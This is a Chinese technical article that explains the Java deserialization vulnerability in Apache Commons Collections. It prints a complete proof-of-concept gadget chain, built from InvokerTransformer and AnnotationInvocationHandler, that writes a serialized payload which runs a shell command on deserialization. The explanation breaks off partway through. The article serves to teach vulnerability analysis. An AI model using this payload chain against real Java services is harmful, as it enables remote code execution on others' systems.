Java反序列化漏洞详解
作者:51CTO 发布时间:[ 2016/9/21 10:14:25 ] 推荐标签:Java 测试开发技术 漏洞
Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具。本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进行详细解读。
Java反序列化漏洞简介
· Java序列化是把对象转换成字节流,便于保存在内存、文件、数据库中,Java中的ObjectOutputStream类的writeObject()方法可以实现序列化。
· Java反序列化即逆过程,由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。
因此要利用Java反序列化漏洞,需要在进行反序列化的地方传入攻击者的序列化代码。能符合以上条件的地方即存在漏洞。
Java反序列化Poc详解
public class test {
public static void main(String[] args) throws Exception {
String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,
Object[].class }, new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String[].class },
new Object[] { execArgs }
)
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
BeforeTransformerMap.put("hello", "manning");
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
}
}
如果想彻底理解上面的poc,需要明白Java中的一些概念。
在Apache commons工具包中有很多jar包(jar包可以理解为python的库),具体jar包里面含有的内容,如下图所示。
其中Java反序列化的问题出在org.apache.commons.collections这个库里面。org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set,list,queue等等。换一种理解方式,collection是set,list,queue的抽象,collection中文含义是收集的意思,那么收集的具体方式可以是set,list,queue了。
在org.apache.commons.collections内提供了一个接口类叫Transformer,这个接口的英文定义为
Defines a functor interface implemented by classes that transform one object into another.
也是说接口于Transformer的类都具备把一个对象转化为另一个对象的功能。目前已知接口于Transformer的类,如下如所示。
图上带箭头指示的为Java反序列化漏洞的poc含有的类。
· ConstantTransformer
Transformer implementation that returns the same constant each time. (把一个对象转化为常量,并返回)
· InvokerTransformer
Transformer implementation that creates a new object instance by reflection. (通过反射,返回一个对象)
· ChainedTransformer
Transformer implementation that chains the specified transformers together. (把一些transformer链接到一起,构成一组链条,对一个对象依次通过链条内的每一个transformer进行转换)
有了以上的相关概念,可以理解开始的poc了。poc里面,我们一共创建了以下关键对象。
· execArgs
待执行的命令数组
· transformers
一个transformer链,包含预设转化逻辑(各类transformer对象)的转化数组
· transformedChain
ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
· BeforeTransformerMap
Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict理解即可
· AfterTransformerMap
相关推荐
更新发布
功能测试和接口测试的区别
2023/3/23 14:23:39如何写好测试用例文档
2023/3/22 16:17:39常用的选择回归测试的方式有哪些?
2022/6/14 16:14:27测试流程中需要重点把关几个过程?
2021/10/18 15:37:44性能测试的七种方法
2021/9/17 15:19:29全链路压测优化思路
2021/9/14 15:42:25性能测试流程浅谈
2021/5/28 17:25:47常见的APP性能测试指标
2021/5/8 17:01:11